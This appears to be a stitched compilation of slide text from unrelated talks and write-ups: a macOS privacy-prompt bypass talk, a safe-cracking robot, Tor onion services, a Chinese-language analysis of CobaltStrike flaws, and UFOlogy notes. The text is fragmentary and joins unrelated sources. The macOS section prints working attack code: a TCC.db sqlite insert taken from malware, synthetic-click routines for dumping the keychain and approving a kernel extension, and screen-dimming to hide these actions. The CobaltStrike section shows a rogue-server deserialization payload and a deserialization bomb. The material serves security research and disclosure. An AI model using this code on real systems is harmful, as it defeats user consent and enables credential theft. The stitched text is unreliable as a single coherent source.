$ file "/Library/Application Support/com.apple.TCC/TCC.db"
/Library/Application Support/com.apple.TCC/TCC.db: SQLite 3.x database
# fs_usage -w -f filesystem | grep -i tcc.db
/Library/Application Support/com.apple.TCC/TCC.db-journal
/Library/Application Support/com.apple.TCC/TCC.db-wal
avoids this ;)
UI, backed by TCC.db
UI 'bypass'
TCC.db modification (OSX.ColdRoot)
__const:001D2804 "touch /private/var/db/.AccessibilityAPIEnabled && sqlite3 \"/Library/
Application Support/com.apple.TCC/TCC.db\" \"INSERT or REPLACE INTO access (service,
client, client_type, allowed, prompt_count) VALUES ('kTCCServiceAccessibility'....
com.apple.audio.driver.app
unsigned
packed
password}
'TCC.db' reference...
UI 'bypass'
TCC.db modification (OSX.ColdRoot)
$ cat /private/var/tmp/runme.sh
#!/bin/sh
touch /private/var/db/.AccessibilityAPIEnabled &&
sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "INSERT or
REPLACE INTO access (service, client, client_type, allowed, prompt_count)
VALUES ('kTCCServiceAccessibility', 'com.apple.audio.driver', 0, 1, 0);"
auth prompt
accessibly access
digita security
MITIGATIONS
how Apple (et. al) protect the UI
Blocking AppleScript UI Interactions
commands
tell process "SecurityAgent"
click button "Allow" ....
end tell
"
"
$ log show
tccd PID[44854] is checking access for target PID[44855]
tccd Service kTCCServiceAccessibility does not allow prompting; returning preflight_unknown
execution error: System Events got an error: osascript is not allowed assistive access. (-1719)
OS alert
try click...
log messages
tccd access check?
Blocking AppleScript
# fs_usage -w -f filesystem | grep tccd
RdData /Library/Application Support/com.apple.TCC/TCC.db tccd
open /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal tccd
access /Applications/Utilities/Terminal.app/Contents/_CodeSignature tccd
WrData /Library/Application Support/com.apple.TCC/TCC.db tccd
tccd is an OS daemon that manages
the privacy database, TCC.db
"
"
tccd, checks TCC.db
tccd interactions with TCC.db
Blocking AppleScript UI Interactions
TCC.db
Blocking Core Graphic Events
"
"
password
prompt
Core Graphics events may now trigger an authentication prompt, or
be ignored when sent to 'protected' OS alerts!
Blocking Core Graphic Events
default 08:52:57.441538 -1000 tccd PID[209] is checking access for target PID[25349]
error 08:52:57.657628 -1000 WindowServer Sender is prohibited from synthesizing events
int post_filtered_event_tap_data(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)
if (CGXSenderCanSynthesizeEvents() == 0x0) goto loc_702e9;
loc_702e9:
if (os_log_type_enabled(*_default_log, 0x10) != 0x0) {
rbx = *_default_log;
_os_log_error_impl(..., rbx, 0x10, "Sender is prohibited from synthesizing events",...);
}
int CGXSenderCanSynthesizeEvents() {
...
rax = sandbox_check_by_audit_token("hid-control", 0x0, rdx, rdx);
user-mode check:
'CGXSenderCanSynthesizeEvents'
kernel-mode check:
'mpo_iokit_check_hid_control_t'
Protecting TCC.db
$ ls -lartO "/Library/Application Support/com.apple.TCC/TCC.db"
-rw-r--r-- 1 root wheel restricted
TCC.db; now protected by SIP
#_
cmp byte ptr [eax+38h], 0
jz short accessibilityError
mov cl, 0
lea edx, "/private/var/tmp/"
lea eax, "Accessibility OK "
call _DEBUGUNIT_$$_LOGKEY$ANSISTRING$ANSISTRING$BOOLEAN
mov edx, 1
mov eax, ds:(_VMT_$KEYLOSER_$$_TKEYLOGGERTHREAD_ptr - 11D95h)[ebx]
call _KEYLOSER$_$TKEYLOGGERTHREAD_$__$$_CREATE$$TKEYLOGGERTHREAD
jmp short continue
accessibilityError:
mov cl, 0
lea edx, "/private/var/tmp/tmp34322gsdlj.log"
lea eax, "Accessibility Error "
call _DEBUGUNIT_$$_LOGKEY$ANSISTRING$ANSISTRING$BOOLEAN
TCC.db
OSX/Coldroot
SIP == no keylogging!
Summarizing Apple's Protections
AppleScript
require
'accessibility
rights'
UI 'bypass'
protect privacy
database (TCC.db)
with SIP
CoreGraphics
filter
'synthetic events'
though, only 'OS-security-relevant'
windows are protected!?
think 3rd-party security products...
3rd-party Protection
BlockBlock
" "
-(void)mouseDown:(NSEvent *)event
{
//get event's pid & uid
processID = CGEventGetIntegerValueField(event.CGEvent, kCGEventSourceUnixProcessID);
processUID = CGEventGetIntegerValueField(event.CGEvent, kCGEventSourceUserID);
//block if:
// a) not: root, or uid (root) or uid (_hidd)
// b) not: not an apple-signed binary
if( (0 != processID) && (0 != processUID) && (HID_UID != processUID) &&
(YES != binary.isApple) )
{
//bail
logMsg(LOG_ERR, "ignoring simulated mouse event");
return;
}
//allow
[super mouseDown:event];
user click
pid: 0
uid: 0
3rd-party Protection
LittleSnitch (firewall)
3rd-party Protection
char -[NSEvent isSimulated]{
rbx = self;
rax = [self type];
//type of event (mouse/keyboard?)
if ((rax <= 0xb) && (!(BIT_TEST(0xc06, rax)))) {
//get cg event
rbx = sub_10003034b(rbx);
//check 'kCGEventSourceStateID' (0x2d) and 'kCGEventSourceUnixProcessID' (0x29)
if (((rbx != 0x0) && (CGEventGetIntegerValueField(rbx, 0x2d) != 0x1)) && (CGEventGetIntegerValueField(rbx, 0x29) != getpid())) {
//get path
rbx = sub_10003039e(rbx);
//exceptions for 'ScreensharingAgent' and 'AppleVNCServer'
if ([sub_100030478() containsObject:rbx] != 0x0) {
rcx = 0x0;
}
else {
rcx = 0x1;
}
}
else {
rcx = 0x0;
}
}
rax = rcx & 0xff;
return rax;
}
LittleSnitch (firewall)
kCGEventSourceStateID
Little Snitch's synthetic event detection
digita security
FINDING A BYPASS
synthetically interact with the UI
The Goal
target: High Sierra
privs: Normal user (no root)
goal: Programmatically interact with any OS UI prompt
bypass Apple's UI protections
allow
deny!
x
<process> is trying to access
<stuff>
alert!
"
"
}
keychain
kexts
bypass apple's protections
'Mouse Keys'
your keyboard is now the mouse
"you can move the mouse pointer
and press the mouse button using
the keyboard" -apple
apple docs
mouse keyboard
mappings
=
click i or 5
will Apple 'allow'?!
Enabling Mouse Keys
//enable 'mouse keys'
void enableMK(float X, float Y){
//apple script
NSAppleScript* scriptObject =
[[NSAppleScript alloc] initWithSource:
@"tell application \"System Preferences\"\n" \
"activate\n" \
"reveal anchor \"Mouse\" of pane id \"com.apple.preference.universalaccess\"\n" \
"end tell"];
//exec
[scriptObject executeAndReturnError:nil];
//let it finish
sleep(1);
//clicky clicky
CGPostMouseEvent(CGPointMake(X, Y), true, 1, true);
CGPostMouseEvent(CGPointMake(X, Y), true, 1, false);
return;
}
"
"
launch:
System Preferences
open:
Accessibility pane,
and show Mouse anchor
click:
'Enable Mouse Keys'
enabling 'Mouse Keys' in code
Sending a click
//click via mouse key
void clickAllow(float X, float Y)
{
//move mouse
CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(nil, kCGEventMouseMoved, CGPointMake(X, Y), kCGMouseButtonLeft));
//apple script
NSAppleScript* scriptObject = [[NSAppleScript alloc] initWithSource:
@"tell application \"System Events\" to key code 87\n"];
//exec
[scriptObject executeAndReturnError:nil];
}
sending a synthetic click
note: keypad 5: key code 87
# ./sniffMK
event: key down
keycode: 0x57/87/5
event: key up
keycode: 0x57/87/5
event: left mouse down
(x: 146.207031, y: 49.777344)
event: left mouse up
(x: 146.207031, y: 49.777344)
the key press also
generates a 'mouse' event
that apple does not block!!
digita security
WEAPONIZATION
time to play!
Dumping the Keychain
all your passwords/keys are belong to us
private keys
passwords
auth tokens
$ /usr/bin/security dump-keychain -d login.keychain
keychain: "~/Library/Keychains/login.keychain-db"
class: "genp"
attributes:
0x00000007 <blob>="GitHub - https://api.github.com"
dumping keys
}
" "
mouse click to 'allow'
data:
"7257b03422bbab65f0e7d22be57c0b944a0ae45d9e"
Dumping the Keychain
'KeychainStealer' PoC
Bypassing 'User-Approved Kernel Extension Loading'
# loadKext evil.kext
[+] invoking kext load
[+] opening security & privacy pane
[+] sending 'click' to allow
[+] success! 'evil.kext' loaded
//init apple script
// open 'General' tab of 'Security Pane'
scriptObject = [[NSAppleScript alloc] initWithSource:
@"tell application \"System Preferences\"\n" \
"activate\n" \
"reveal anchor \"General\" of pane id \"com.apple.preference.security\"\n" \
"end tell\n"];
//execute to open prefs
[scriptObject executeAndReturnError:nil];
high sierra kext loader
open 'General' tab
of 'Security & Privacy' pane
"
"
Making these attacks 'invisible'
allow
x
<process> is trying to access
<stuff>
alert!
"
"
deny!
Q: "how can synthetic events interact with the UI
in a manner that is not visible to the user?"
the obvious problem: visibility...
A: display brightness = 0
Making these attacks 'invisible'
void setBrightnessTo(float level)
{
io_iterator_t iterator;
io_object_t service;
IOServiceGetMatchingServices(kIOMasterPortDefault,
IOServiceMatching("IODisplayConnect"), &iterator);
while ((service = IOIteratorNext(iterator))) {
IODisplaySetFloatParameter(service, kNilOptions, CFSTR(kIODisplayBrightnessKey), level);
IOObjectRelease(service);
}
IOObjectRelease(iterator);
}
"
"
dimming the display
level: 0 is 'off'
UI interactions still
possible when screen dimmed!
screen brightness ftw!
Making these attacks 'invisible'
wait to dim until the user is inactive
CFTimeInterval idleTime()
{
return CGEventSourceSecondsSinceLastEventType(
kCGEventSourceStateHIDSystemState, kCGAnyInputEventType);
}
while(idleTime() < 60.0)
{
[NSThread sleepForTimeInterval:5.0f];
}
//user inactive
// a) screen brightness to 0
// b) enable mouse keys & click clack!
detecting 'inactive' user
Making these attacks 'invisible'
wait to dim until the display is going to sleep
OS sends
kIOMessageCanDevicePowerOff
OS sends
kIOMessageDeviceWillPowerOff
screen dims to 50%
screen dims to 100%, then off
}
dim to 100%
exploit();
"
"
void displayCallback(void *context, io_service_t y, natural_t msgType, void *msgArgument){
if(kIOMessageCanDevicePowerOff == msgType)
//a) dim to 100%
//b) exploit!
}
display = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("IODisplayWrangler"));
IOServiceAddInterestNotification(IONotificationPortCreate(kIOMasterPortDefault), display,
kIOGeneralInterest, displayCallback, NULL, ¬ifier);
CFRunLoopAddSource(CFRunLoopGetMain(),
IONotificationPortGetRunLoopSource(IONotificationPortCreate(kIOMasterPortDefault)),kCFRunLoopDefaultMode);
detecting display going to sleep
digita security
CONCLUSION
wrapping this up
"
"
Patching 'Mouse Keys' & Synthetic Events
CVE-2017-7150, High Sierra Supplemental Update
High Sierra "Supplemental Update"
password prompt
password prompt
$ log stream | grep mouse
Dropping mouse down event because
sender's PID (899) isn't 0 or self (828)
filtration of synthetic events
...one more thing: an 0day
still trivial way to generate synthetic events!
//given some point {x, y}
// generate synthetic event...
CGPostMouseEvent(point, true, 1, true);
CGPostMouseEvent(point, true, 1, true);
mouse down
mouse down
...AGAIN!!
Q: Even after Apple's patch can you send two "mouse down"
events to generate an ALLOWED synthetic mouse click?
A: Yes, really...
synthetically click away!
and yes, this means since its introduction
"user-approved kext loading" has NEVER been secure!
a truly powerful capability
Synthetic Reality
dump keychain
approve kexts
capture keystrokes
thwart tools
allow
deny!
x
<process> is trying to access
<stuff>
alert!
"
"
}
the cat & mouse game continues!
Synthetic Reality
apple script
core graphics
UI bypass
mouse keys
passwords
accessibility
access
system integrity
protection
filter synthetic
events
vs.
macOS Mojave generically blocks:
applescript interactions
core graphics apis
...ok, one more last thing!
"Objective by the Sea" conference
ObjectiveByTheSea.com
Maui, Hawaii
Nov 3rd/4th
All things macOS
malware
bugs
security
Free for
Objective-See patrons!
Finale
@patrickwardle
[email protected]
cybersecurity solutions for the macOS enterprise
digita security
Credits
- iconexperience.com
- wirdou.com/2012/02/04/is-that-bad-doctor
- http://pre04.deviantart.net/2aa3/th/pre/f/
2010/206/4/4/441488bcc359b59be409ca02f863e843.jpg
- opensource.apple.com
- newosxbook.com (*OS Internals)
- "Revealing Dropbox’s Dirty Little Security Hack"
applehelpwriter.com/2016/08/29/discovering-how-
dropbox-hacks-your-mac/
images
resources | pdf |
Nathan Seidle
SparkFun Electronics
Combos in 45
minutes or less!*
*You know what these mean…
2002
Animation:
How combination safe works
Power!
Motor with 8400
tick encoder
Servo with
feedback
Arduino
Handle puller
Magnets
Erector set
(Actobotics)
The super freaking amazing
nautilus gear that made this all
work
‘Come back here’
spring
Standard servo with analog
feedback hack
Very fancy string
Go! Btn
Servo and
feedback
Motor Driver
Beep!
Current Sensor
Motor control
and feedback
Display
RedBoard =
Arduino
12V External
Hard Drive
Power Supply
‘Home’ Photogate
Problem Domain:
1003 combinations
10 seconds per test
115 days (worst case)
Exploits
Combinations:
1003 combinations
Exploits
Combinations:
1003 combinations
333 combinations = 4.15 days
Exploits
Combinations:
1003 combinations
333 combinations = 4.15 days
Disc C has 12 indents
332 * 12 = 1.5 days
Exploits
Exploits
Disc C:
Outer diameter: 2.815” (55.5mm)
Width of solution slot: 0.239”
Width of 11 indents: 0.249” +/- 0.002”
17.69” (Circumference) / 8400 ticks
0.0021” / tick
~5 ticks smaller
Exploits
Combinations:
1003 combinations
333 combinations = 4.15 days
Disc C has 12 indents
332 * 12 = 1.5 days
Disc C has a skinny indent
332 * 1 = 3 hours
Exploits
Test Time:
Resetting Dials = 10s / test
Exploits
Test Time:
Resetting Dials = 10s / test
‘Set testing’ = 4s / test
1.2 hours
Exploits Luck
Test Time:
Resetting Dials = 10s / test
‘Set testing’ = 4s / test
1.2 hours
45 minutes!
Animation:
How Set Testing Works
How do I protect myself!?
One of these is not like the others...
The S&G 6741 … can be dialed up to 1.25 digits
above or below the actual set number and still
open, essentially giving you a 2.5 digit window to
hit. The S&G 6730, however, has only a +/- .5
dialing tolerance, essentially giving a 1 digit
window to hit. While many locksmiths might prefer
the S&G 6730, it can be notoriously difficult to
open and very unforgiving to human error. In
addition, slight alterations to the lock (for example,
if the dial or the dial ring was bumped during
shipping) can shift the combination, rendering the
lock unusable.
The S&G 6741 … can be dialed up to 1.25 digits
above or below the actual set number and still
open, essentially giving you a 2.5 digit window to
hit. The S&G 6730, however, has only a +/- .5
dialing tolerance, essentially giving a 1 digit
window to hit. While many locksmiths might prefer
the S&G 6730, it can be notoriously difficult to
open and very unforgiving to human error. In
addition, slight alterations to the lock (for example,
if the dial or the dial ring was bumped during
shipping) can shift the combination, rendering the
lock unusable.
Future Research
Future Research
Future Research
Is it open yet?
[email protected] | pdf |
1
The Tor Project
Our mission is to be the global resource for
technology, advocacy, research and
education in the ongoing pursuit of freedom
of speech, privacy rights online, and
censorship circumvention.
2
● Online Anonymity
– Open Source
– Open Network
● Community of
researchers,
developers, users and
relay operators.
● U.S. 501(c)(3) non-
pro%t organization
3
Estimated 2,000,000+
daily Tor users
4
Threat model:
what can the attacker do?
Alice
Anonymity network
Bob
watch (or be!) Bob!
watch Alice!
Control part of the network!
5
Anonymity isn't encryption:
Encryption just protects contents.
Alice
Bob
“Hi, Bob!”
“Hi, Bob!”
<gibberish>
attacker
6
Anonymity serves different
interests for different user groups.
Anonymity
“It's privacy!” Private citizens
7
Anonymity serves different
interests for different user groups.
Anonymity
Private citizens
Businesses
“It's network security!”
“It's privacy!”
8
Anonymity serves different
interests for different user groups.
Anonymity
Private citizens
Governments
Businesses
“It's traffic-analysis
resistance!”
“It's network security!”
“It's privacy!”
9
Anonymity serves different
interests for different user groups.
Anonymity
Private citizens
Governments
Businesses
“It's traffic-analysis
resistance!”
“It's network security!”
“It's privacy!”
Human rights
activists
“It's reachability!”
10
The simplest designs use a single
relay to hide connections.
Bob2
Bob1
Bob3
Alice2
Alice1
Alice3
Relay
E(Bob3,“X”)
E(Bob1, “Y”)
E(Bob2, “Z”)
“Y”
“Z”
“X”
(example: some commercial proxy providers)
11
But a central relay is
a single point of failure.
Bob2
Bob1
Bob3
Alice2
Alice1
Alice3
Evil
Relay
E(Bob3,“X”)
E(Bob1, “Y”)
E(Bob2, “Z”)
“Y”
“Z”
“X”
12
... or a single point of bypass.
Bob2
Bob1
Bob3
Alice2
Alice1
Alice3
Irrelevant
Relay
E(Bob3,“X”)
E(Bob1, “Y”)
E(Bob2, “Z”)
“Y”
“Z”
“X”
Timing analysis bridges all connections
through relay
⇒ An attractive fat target
13
14
15
16
Tor's safety comes from diversity
● #1: Diversity of relays. The more relays
we have and the more diverse they are,
the fewer attackers are in a position to do
traffic confirmation. (Research problem:
measuring diversity over time)
● #2: Diversity of users and reasons to use
it. 50000 users in Iran means almost all of
them are normal citizens.
17
Transparency for Tor is key
● Open source / free software
● Public design documents and
specifications
● Publicly identified developers
● Not a contradiction:
privacy is about choice!
18
But what about bad people?
● Remember the millions of daily users.
● Still a two-edged sword?
● Good people need Tor much more
than bad guys need it.
19
Myth #1
● “I heard the Navy wrote Tor
originally, so how can I trust it?”
20
Myth #2
● “I heard the NSA runs half the
relays.”
21
Myth #3
● “I heard Tor is slow.”
22
Myth #4
● “I heard Tor gets most of its money
from the US government.”
23
Myth #5
● “I heard 80% of Tor is bad people.”
24
Myth #6
● “I shouldn't use Tor, because if I do
the NSA will watch me.”
25
Myth #7
● “I heard Tor is broken.”
26
Onion Service
27
Onion service properties
● Self authenticated
● End-to-end encrypted
● Built-in NAT punching
● Limit surface area
● No need to “exit” from Tor
28
29
About 3%
● <show graph showing that 1gbit/s
is about 3% of Tor's traffic> –
onion services are still in the
“neat toy” stage
● Terbium labs (and others) found
about 7000 useful onion sites
30
31
SecureDrop
https://securedrop.org/directory
Today, 30+ organizations use SecureDrop
32
Ricochet
33
OnionShare
34
Services and Tools
https://help.riseup.net/en/tor#riseups-tor-hidden-services
All Riseup.net services are
available using hidden service
... and many others
Package repository
apt-get install apt-tor-transport
http://vwakviie2ienjx6t.onion/
...
35
Anonymous updates are awesome
● Evil package repository can't
target you with a bad update,
because they don't know it's you
● Local observer can't learn what
you're updating, so they can't
target you for being out of date
36
37
38
39
40
41
42
43
HS Directory
Hashring
HSDirn
Desc IDrep0
Desc IDrep1
HSDirn+1
HSDirn+2
HSDirn
HSDirn+1
HSDirn+2
Desc ID = H(onion-address | H(time-period | descriptor-cookie | replica))
44
New keys => longer onion addresses
nzh3fv6jc6jskki3.onion
From 16 characters:
... to 52 characters:
a1uik0w1gmfq3i5ievxdm9ceu27e88g6o7pe0r,dw9jmntwkdsd.onion
(ed25519 public key base32 encoded)
45
Network-wide shared random value
● The six HSDirs for a given onion address
are predictable into the future
● So bad guys can run six relays with just
the right keys to target a specific future
day...to censor it or to measure popularity
● People – we don't know who – were doing
this attack in practice
46
Network-wide shared random value
● The solution: make the HSDir mapping
include a communal random value that
everybody agrees about but that nobody
can predict
● The directory authorities pick this value
each day as part of their consensus voting
process
47
HSDirs get to learn onion addresses
● The onion service descriptor (which gets
uploaded to the HSDir) includes the
public key for the service (so everybody
can check the signature)
● So you can run relays and discover
otherwise-unpublished onion addresses
● “Threat intelligence” companies have
been trying to do just that
48
HSDirs get to learn onion addresses
● The solution: the new cryptosystem has a
cool feature where you can sign the onion
descriptor with a subkey
● So everybody can check the signature but
nobody can learn the main key from the
subkey
● Should finally kill the arms race with
jerks running relays to gather onions
49
Rendezvous Single Onion Services
Rendezvous Point
Proposal 260
50
OnionBalance
https://onionbalance.readthedocs.org
51
Vanguards (Tor proposal 271)
● Tor clients use a single relay (called a
Guard) for the first hop in all their paths,
to limit exposed surface area
● But there are relatively easy attacks to
learn a user's guard, and for onion
services that can be especially bad.
● Multiple layers of guards protect better
against Sybil+compromise attacks
52
Deployment timeline
● HSDir side:
● Client side:
● Service side:
Try it at: <git url coming soon>
53
Tor isn't foolproof
● Opsec mistakes
● Browser metadata fingerprints
● Browser exploits
● Traffic analysis
54
“Still the King of high secure,
low latency Internet Anonymity”
“There are no contenders for the throne” | pdf |
某C2鸡肋漏洞分析
2022-05-12 · 基础设施
CobaltStrike是一个知名的红队命令与控制框架,采用 Beacon <-> TeamServer <-> Client 架构。TeamServer
存在受限路径穿越写文件与反序列化漏洞,可以被认证后客户端恶意利用。Client存在反序列化漏洞,可以被
RogueCS攻击。
Author: hosch3n@逐日实验室
山寨威胁建模
由于这个软件的特殊性,我们需要想想什么才是漏洞:
1. 直接攻击TeamServer暴露的服务
2. 通过Beacon攻击TeamServer
3. 通过Client攻击TeamServer
4. 通过TeamServer攻击Client
TeamServer控制Beacon是功能,任何所谓TeamServer攻击Beacon的操作都不能算漏洞
可以看出TeamServer是核心,先从它下手。
历史漏洞
in-the-wild
利用TeamServer从Beacon下载文件时,会将Beacon可控数据中的IP字段作为目录的特点,实现路径穿越写计
划任务RCE。
CVE-2021-36798
利用TeamServer从Beacon加载截图和键盘记录时,会根据Beacon可控数据中的字节大小申请内存的特点,实
现内存耗尽DoS。
CVE-2022-23317
猜测是为了兼容 proxy 的功能(路径为 http:// 开头),没有对URL路径做严谨的校验。动态调试可以看出
这会绕过profile相关配置,直接拿到公钥等数据:
虚假的DoS
BeaconC2.process_beacon_data 中存在一处利用条件比较苛刻的DoS。
受限路径穿越
1
2
3
4
5
6
7
8
...
int var4 = var3.readInt();
...
if (var4 > var3.available()) {
return false;
}
...
byte[] var5 = new byte[var4];
Java
用来防止路径穿越的核心是 CommonUtils.SafeFile 方法,判断解析前后的路径是否还以限定前缀开头。这其
实可以让我们向上穿越一级并得到前缀开头的文件对象:
CVE-2022-23457就是另一个例子
以 ManageUser.process 为例,Client可以通过 Host File 功能上传文件到TeamServer并映射至Web服务,这
会先发出一个 armitage.upload 进行预处理,随后由 armitage.append 上传文件数据。
这里Client与TeamServer基于序列化通过socket通信, SafeFile 的二参 var1.arg(0) 客户端可控,在
UploadFile.result 拼接上前缀就可以实现受限路径穿越写文件。然而这并没有什么卵用
1
2
3
4
this.conn.call("armitage.append", CommonUtils.args(this.file.getName()
|
V
this.conn.call("armitage.append", CommonUtils.args("../uploads"+this.file.getName()
Java
想到zip解压释放软链接那种套路,File确实可以透过软链接写入指向文件中,但这里似乎没法实现直接将用
于路径穿越的软链接本身存进去。
反序列化
反序列化核心是 TeamSocket.readObject 方法,实际使用的 ObjectInputStream.readUnshared 。它在
ManageUser.run 中被 PostAuthentication.clientAuthenticated 通过多线程拉起。
client 来自 SecureServerSocket.acceptAndAuthenticate 中接收的客户端数据,预检密码使用
readUnsignedByte 读入,在密码比对正确时会进入上述反序列化流程。
在客户端 Connect.dialogAction 发起连接时可以向TeamServer传输序列化对象,如果服务端存在gadgets环
境就可被恶意利用。
看代码流程感觉作者是考虑到了的,所以将反序列化放到了认证后
随后 ManageUser.process 会将登录成功/失败的消息序列化写回客户端,我们可以把
SecureServerSocket.authenticate 改为任何密码都校验成功(欺骗客户端通过密码预检),再写回恶意序
列化对象(成为RogueCS),如果客户端存在gadgets环境就可被利用。
1
2
3
4
5
this.tqueue.call("aggressor.authenticate", CommonUtils.args(var3, var6, Aggressor.VERSION), t
|
V
Object payload = getObject() // URLDNS, 7u21, ...
this.tqueue.call("aggressor.authenticate", CommonUtils.args(var3, var6, payload), this)
Java
利用条件
Client攻击TeamServer的话,需要知道服务端的密码(比如通过泄漏/反制得到HOME目录下 .aggressor.prop
配置文件),而通过TeamServer则可以攻击任何前来连接的Client。
危害大小取决于运行环境中gadgets的能力,我目前还没在CS内置的lib中找到有实质危害的gadgets。对于原
生JRE环境而言,可以通过 DeserializationBomb 造成CPU型DoS:
这个与之前OpenSSL的DoS效果类似,多核环境只会影响单核。相关上下文大都是局部变量,也不太可能通过
反序列化造成内存型DoS。所以一般也就能打个DNS自嗨,但如果以前调试漏洞在 jre/lib/ext 之类的目录引
入过危险依赖,或者有大聪明用了7u21就会导致RCE:
1
2
3
4
5
6
...
if (!this.authenticated && "aggressor.authenticate".equals(var1.getCall()) && var1.size() ==
...
Object payload = getObject() // URLDNS, 7u21, ...
this.client.writeObject(var1.reply(payload))
...
Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Set<Object> root = new HashSet<>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<>();
for (int i = 0; i < 100; i++) {
Set<Object> t1 = new HashSet<>();
Set<Object> t2 = new HashSet<>();
t1.add("foo"); // make it not equal to t2
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
Java
CS内置了 commons-io 、 sleep 等jar包,找到链也不是完全没有可能,或者找到一种可控方式从当前目录加
载类,就能结合受限路径穿越变成RCE。万一山鸡变凤凰了呢(doge | pdf |
Hacking UFOlogy: Thirty Years in the Hall of Mirrors
notes for a presentation by Richard Thieme
Def Con 15 – August 2007
These are notes – meant to be supportive of the one hour presentation made
at Def Con 15 and suggestive of further avenues of inquiry. Consult the
select bibliography at the end for further reading. Questions? write to
[email protected] or [email protected]
"And those who were seen dancing were thought to be insane by those
who could not hear the music." - Frederick Nietzsche
“Men will love you if you make them think that they think
but will hate you if you make them think.”
“I recommend we use scientific curiosity to see what is the physics of the
phenomena so many people are describing as UFOs. Ascribing the
phenomena to psychological aberrations is nonsense. There is a physical
phenomena that needs explaining. Let’s get on with it in an open-minded
scientifically oriented manner. Then let the data provide the answer.” –
written almost 50 years ago by Dr. Horace C. Dudley, New Principles of
Quantum Mechanics, 1959 -
Fifty years later, I could make the same statement. So did Peter Sturrock, a
physicist at Stanford. So did Michael Swords after decades of historical
study, a professor of history at Western Michigan University.
UFOlogy is a blend of facts – suppositions – intentional deceptions and
disinformation – cover stories for black budget projects in the sciences and
social sciences – outright boldfaced lies by charlatans, scam artists, and
flimflam woman and men milking a gullible cow – a subset of religious
experience and religious structures in 20th century America - and imaginary
narratives promulgated through magazines, books, television, movies, web
sites, etc. which become conflated “memories” blended with all of the above
in the mind of society.
Hence, the need for a few benchmarks in order to discuss all this for one
hour in a sane way.
First, we have to believe it is worthwhile. Hynek was asked, is there
any evidence for UFOs? He replied, “Where do you want me to stop the
truck?”
There is a mountain of evidence. The data is voluminous.
The burden of proof is on those who would dispute the mountain
of data, but it has been turned around, putting the burden of proof on
those who simply report accurately what they saw or what happened to
them (physical effects). It is like the Swift Boat veterans putting a decorated
war hero on the defensive while attention on a draft dodging president is
deflected. (illusion, misdirection, ridicule).
It is not a scientific investigation but an historical analysis. To ask
repeatability and testability of historical data for this data but no other is
disingenuous.
A general at the Pentagon said to Hynek, “Do you really think we
would ignore something as significant as this?”
For purposes of this brief introduction to a very complex subject, we will
reference the following kinds of historical data:
(1) official statements, newspaper accounts, magazine articles in the
seminal period of the “modern era” – 1947- 1952 and a few years
beyond 1952 in order to document the basic nature of a complex
phenomenon and ...
(2) the intentional management of the phenomena for multiple
purposes by the government, the military, the intelligence
community (IC) and others with reference to the early history of
the CIA and the origins of covert action as a preferred way to
wage war in the nuclear era
(3) the use of media to distort the phenomena, which enables us to
begin mapping the warping of the looking glass in the early 1950s
(4) testimony from credible people that (a) I know well, in appropriate
circumstances, with congruent affect and consistent narratives, e.g.
the Major in the church basement, clergy speaking off the record,
credible parties such as Captain Edgar Mitchell of Apollo 14
The context of this conversation includes but is not limited to the following:
the impact of secrecy on individuals and society
the impact of compartmentalization on historical research and historical
understanding
the extent of black budget research and development and the application of
technologies and methodologies chartered for use outside our borders to the
management of perception inside our borders
the effects of deception/psy ops – through the manufacture and manipulation
of illusions, sleight of hand to distract the population, and ridicule - above
all, ridicule, which enables things to be hidden in plain sight ...
with particular attention to the use of cultural forms such as the arts,
literature, and other media.
The Bigger Picture
The mutual transparency between the individual and the state has been
destroyed. The state knows ever more about the individual but the
individual knows less and less about the state. – Sandra Braman, Change
of State: Information, Policy and Power (The MIT Press: 2006).
e.g. Vice President Cheney, the obsession with secrecy to frustrate
transparency and accountability, and the invention of the Vice Presidency as
a Black Branch of government which is neither executive nor legislative but
also both. As Alice said, “Words mean exactly what I say that mean, no
more, no less.”
speaking to an official NSA historian, I asked: “what can we discuss
with a realistic sense that we are talking about the same or a similar
shared history?”
NSA historian: “Anything that happened up until 1945.”
Ulrich Beck said in the late 1980s: Causal chains are already so long and
complex that they often evade perception by existing statistical and other
mechanisms. As a result, it can be impossible to determine the actual effects
of the use of complex technologies and to assign accountability for
undesirable consequences. Beck predicted that in an environment in which
causality could not be determined, people were likely to return to non-
rational modes of explanation.” (Braman, p. 147) (emphasis mine)
Or ... “If you once forfeit the confidence of your fellow citizens, you can
never regain their respect and esteem. It is true that you can fool all of the
people some of the time; you can ever fool some of the people all of the
time; but you cannot fool all of the people all of the time.” – Abraham
Lincoln
The more outlandish and disconnected theories about UFOs and government
conspiracies, then, are at least in part direct consequences of disinformation
– lies and half-truths salted with truths for credibility that constitute a Big
Lie – and the impossibility for an outsider without access to actual data to
appraise the totality.
A corollary: UFO studies however designed are impossible to do fully and
accurately outside of black budget realms. We can only pursue them
partially, with limited data. But still, there are dots to connect ...
What does this mean for science? That real science, “outside” the IC and
black budget R&D, is fragmented through compartmentalization and
secrecy, so can not be done; it can only be done inside, where DATA i.e.
FACT is real and aggregated. So only those who direct various projects with
a maximum of knowledge can direct research and development. This also
means that it will be done for their purposes, i.e. social control, military
advantage, informational advantage, the financial reward of collusive
partners, etc.
Science as a pursuit of the truth for its own sake – if it ever existed –
exists no longer.
Another corollary: the basis of science is the FACT. John Locke introduced
the concept of the fact - sensory data the interpretation of which can be
shared and trusted.
UFO encounters – the real ones – in their essence, are FACTS
that have been turned into PHANTASMS. As a friend who assists
political campaigns in a stealthy way said, “you can’t change reality but you
can change the facts.”
An experienced pilot says that a circular craft that looked like
polished aluminum paced his plane and took off at a fantastic speed. He is
told that it was Venus or meteorological phenomena. He is aghast as a fact
becomes a phantasm.
This experience is not emotionally or morally neutral. The
falsification of a significant event is a betrayal of the social contract.
Another corollary: inevitably a society of information haves and have-nots
has evolved. There is little room for an informational middle class because
big pictures can only conceived in totality or not at all. A part of a big
picture based on partial knowledge is not a big picture. It is a delusion.
When a society consists of haves and have nots ... and non-rational
projections and hypotheses fill the empty spaces in the matrix ... and people
can believe almost anything and claim to have a case, however fantastic the
claim ... and when truth is in fact more fantastic than those claims ... then
that society is ripe for a revolution. Not a traditional revolution ... not a
revolution of arms ... but a stealthy revolution of information used
powerfully, analogous to what real and sophisticated hackers do with
